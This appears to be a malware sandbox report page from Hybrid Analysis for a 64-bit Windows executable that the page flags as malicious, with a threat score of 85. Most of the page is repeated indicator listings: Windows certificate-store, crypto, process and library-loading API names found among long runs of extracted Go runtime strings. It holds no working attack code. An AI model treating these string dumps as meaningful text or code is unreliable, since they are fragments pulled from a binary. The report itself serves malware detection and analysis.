34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 50:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4f9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 5f6c6f4b31ef… — Score 85/100 — Hybrid Analysis","description":"Malicious verdict for sample 5f6c6f4b31ef…. Malware family: Win/malicious_confidence_70%. Threat score 85/100. 1/28 AV engines flagged this file. 6 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f"],"about":{"@type":"SoftwareApplication","name":"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f","additionalType":"Malicious sample"},"threatScore":85,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":1,"total":28},"behavioralIndicators":{"malicious":6,"suspicious":8},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T4bd,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp")37:T59c,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp")38:T7c09,Found api reference "goal , cons/mark maxTrigger= pages/byte s.sweepgen= allocCount page summarybad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= plugin" (Indicator: "CertOpenStore"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=190734863281259" (Indicator: "CertCloseStore"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=190734863281259" (Indicator: "CryptGenRandom"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "akeup298023223876953125value out of rangebad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad index, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablerea" (Indicator: "CertOpenSystemStoreW"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablerea" (Indicator: "CryptAcquireContextW"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "ntgetenv before env initinterface conversion: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=4656612873077392578125exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain" (Indicator: "CertGetCertificateChain"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unava" (Indicator: "CertFreeCertificateChain"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125GODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in fi" (Indicator: "CertFreeCertificateContext"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin"), Found api reference "nalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free obj" (Indicator: "CertCreateCertificateContext"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin"), Found api reference "684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin"), Found api reference "684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin"), Found api reference "goal cons/mark maxTrigger= pages/byte s.sweepgen= allocCount page summarybad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= plugi" (Indicator: "CertOpenStore"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=19073486328125" (Indicator: "CertCloseStore"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "path= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=19073486328125" (Indicator: "CryptGenRandom"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablere" (Indicator: "CertOpenSystemStoreW"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverablere" (Indicator: "CryptAcquireContextW"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unav" (Indicator: "CertFreeCertificateChain"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125GODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in f" (Indicator: "CertFreeCertificateContext"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free ob" (Indicator: "CertCreateCertificateContext"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin"), Found api reference "runtime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limit" (Indicator: "CertCloseStore"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad restart PC-thread limit" (Indicator: "CryptGenRandom"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp"), Found api reference " locked to thread synctest bubble runtime.semacreateruntime.semawakeup298023223876953125value out of rangebad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad index gp->atomicstatus=marking free object KiB work (eager) [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp"), Found api reference "exit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer 